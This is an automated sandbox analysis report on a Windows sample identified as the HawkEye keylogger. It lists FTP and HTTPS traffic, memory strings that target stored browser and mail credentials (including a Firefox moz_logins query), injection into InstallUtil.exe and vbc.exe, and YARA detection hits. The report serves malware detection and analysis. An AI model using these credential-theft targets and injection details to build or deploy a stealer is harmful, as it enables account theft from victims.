JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: unknown

FTP traffic detected: 45.141.152.18:21 -> 192.168.2.3:49745 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 10:48. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown

HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.3:49715 version: TLS 1.0

Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe, 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp, vbc.exe, 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: @nss3.dllSOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe%programfiles%\Sea MonkeySOFTWARE\Mozillamozilla%s\binPathToExe%programfiles%\Mozilla FirefoxSELECT id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword FROM moz_logins.---signons.txtsignons2.txtsignons3.txtsignons.sqlitenetmsg.dllUnknown Error\Error %d: %seditkernel32.dll... open %2.2X %s (%s)Microsoft_WinInetMicrosoft_WinInet_u7@dllhost.exetaskhost.exetaskhostex.exebhvContainersContainerIdNameHistoryContainer_%I64dAccessCountCreationTimeExpiryTimeAccessedTimeModifiedTimeUrlEntryIDvisited:Microsoft\Windows\WebCache\WebCacheV01.datMicrosoft\Windows\WebCache\WebCacheV24.dat0123456789ABCDEFURL index.datSoftware\Microsoft\Internet Explorer\IntelliForms\Storage2https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
Source: vbc.exe	String found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)

Source: unknown

DNS traffic detected: queries for: www.google.com

Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pki.goog/gsr1/gsr1.crl0;
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0W
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://crls.pki.goog/gts1c3/moVDfISia2k.crl0
Source: InstallUtil.exe, 00000010.00000003.314395304.00000000061EB000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: InstallUtil.exe, 00000010.00000003.314578251.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.comB
Source: InstallUtil.exe, 00000010.00000003.314280047.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.comsUKAi
Source: InstallUtil.exe, 00000010.00000002.494142383.0000000003476000.00000004.00000001.sdmp	String found in binary or memory: http://ftp.badonfashoin.com
Source: FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/1
Source: FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	String found in binary or memory: http://ns.ado/12A
Source: FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.c/g2A
Source: FukQGQj7cl.exe, 00000001.00000003.306427088.0000000009950000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: FukQGQj7cl.exe, 00000001.00000003.230610513.000000000994A000.00000004.00000001.sdmp	String found in binary or memory: http://ns.adobe.cobj2A
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.494750181.0000000004081000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr10)
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.pki.goog/gts1c301
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://pki.goog/gsr1/gsr1.crt02
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gts1c3.der0
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: FukQGQj7cl.exe, 00000001.00000002.312563898.0000000002ECF000.00000004.00000001.sdmp	String found in binary or memory: http://schema.org/WebPage
Source: FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, InstallUtil.exe, 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: http://whatismyipaddress.com/-
Source: InstallUtil.exe, 00000010.00000003.319415666.00000000061E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: InstallUtil.exe, 00000010.00000003.319806893.00000000061E9000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: InstallUtil.exe, 00000010.00000003.320005338.00000000061E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comLP
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp, InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: InstallUtil.exe, 00000010.00000003.329177139.000000000620A000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmln-us
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: InstallUtil.exe, 00000010.00000003.326807641.00000000061DE000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersd
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: InstallUtil.exe, 00000010.00000003.313190214.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comcNUlA(
Source: InstallUtil.exe, 00000010.00000003.313322897.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comicXU
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: vbc.exe, vbc.exe, 00000016.00000002.364855957.0000000000400000.00000040.00000001.sdmp	String found in binary or memory: http://www.nirsoft.net/
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: InstallUtil.exe, 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: http://www.site.com/logs.php
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp, InstallUtil.exe, 00000010.00000003.315759111.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: InstallUtil.exe, 00000010.00000003.315478837.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comEUuA
Source: InstallUtil.exe, 00000010.00000003.315250712.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comWUgA
Source: InstallUtil.exe, 00000010.00000003.315832509.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comcomEUuA
Source: InstallUtil.exe, 00000010.00000003.315611989.00000000061EB000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comsUKAi
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: InstallUtil.exe, 00000010.00000002.498309994.00000000062C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: vbc.exe	String found in binary or memory: https://login.yahoo.com/config/login
Source: FukQGQj7cl.exe, 00000001.00000002.310372719.00000000013A2000.00000004.00000020.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: FukQGQj7cl.exe, 00000001.00000002.312280965.0000000002EA1000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/
Source: vbc.exe	String found in binary or memory: https://www.google.com/accounts/servicelogin

Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected HawkEye Keylogger

Show sources

Source: Yara match	File source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FukQGQj7cl.exe PID: 4792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: InstallUtil.exe PID: 6284, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 21_2_0040AC8A GetTempPathA,GetWindowsDirectoryA,GetTempFileNameA,OpenClipboard,GetLastError,DeleteFileA,

Source: FukQGQj7cl.exe, 00000001.00000002.309200167.000000000130A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.2.InstallUtil.exe.45fa72.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.2.InstallUtil.exe.408208.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.4ac319a.11.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.4acafa7.10.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.478476a.4.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.2.InstallUtil.exe.409c0d.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.4ac95a2.9.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.472e905.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.472cf00.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.48ba66a.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.48c0a72.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.2.FukQGQj7cl.exe.48c2477.7.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.InstallUtil.exe.30ab2a0.5.raw.unpack, type: UNPACKEDPE	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.324877095.0000000004838000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000002.324260828.0000000004726000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects HawkEye RAT Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000010.00000002.483743736.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.489551476.0000000003081000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect HawkEye in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large array initializations

Show sources

Source: 1.2.FukQGQj7cl.exe.a70000.0.unpack, As4x/Af5k.cs

Large array initialization: .cctor: array initializer size 2392

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe

Code function: 22_2_00408836 memset,CreateFileW,NtQuerySystemInformation,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,NtQueryObject,CloseHandle,_wcsicmp,CloseHandle,FreeLibrary,

Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_00A76BED
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_012EC8F8
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_012E7428
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_012EF7C0
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_012EBC10
Source: C:\Users\user\Desktop\FukQGQj7cl.exe	Code function: 1_2_012EDFD8
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_00D620B0
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_02E4B29C
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_02E4C310
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_02E499D0
Source: C:\Users\user\AppData\Local\Temp\InstallUtil.exe	Code function: 16_2_02E4DFD0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00404DDB
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_0040BD8A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00404E4C
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00404EBD
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 21_2_00404F4E
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00404419
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00404516
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00413538
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_004145A1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_0040E639
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_004337AF
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_004399B1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_0043DAE7
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00405CF6
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00403F85
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: 22_2_00411F99

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00413F8E appears 66 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00413E2D appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00442A90 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 004141D6 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe	Code function: String function: 00411538 appears 35 times

Source: FukQGQj7cl.exe	Binary or memory string: OriginalFilename vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameCMemoryExecute.dll@ vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameWebBrowserPassView.exeF vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemailpv.exe< vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.325532719.0000000004AC3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamePhulli.exe0 vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.331167441.0000000006D20000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSHCore1.dll0 vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.307395644.0000000000B8D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameTRCoManagementSystem.exeD vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.330769051.0000000006BE0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPe6.dll" vs FukQGQj7cl.exe
Source: FukQGQj7cl.exe, 00000001.00000002.330413840.0000000006910000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs FukQGQj7cl.exe
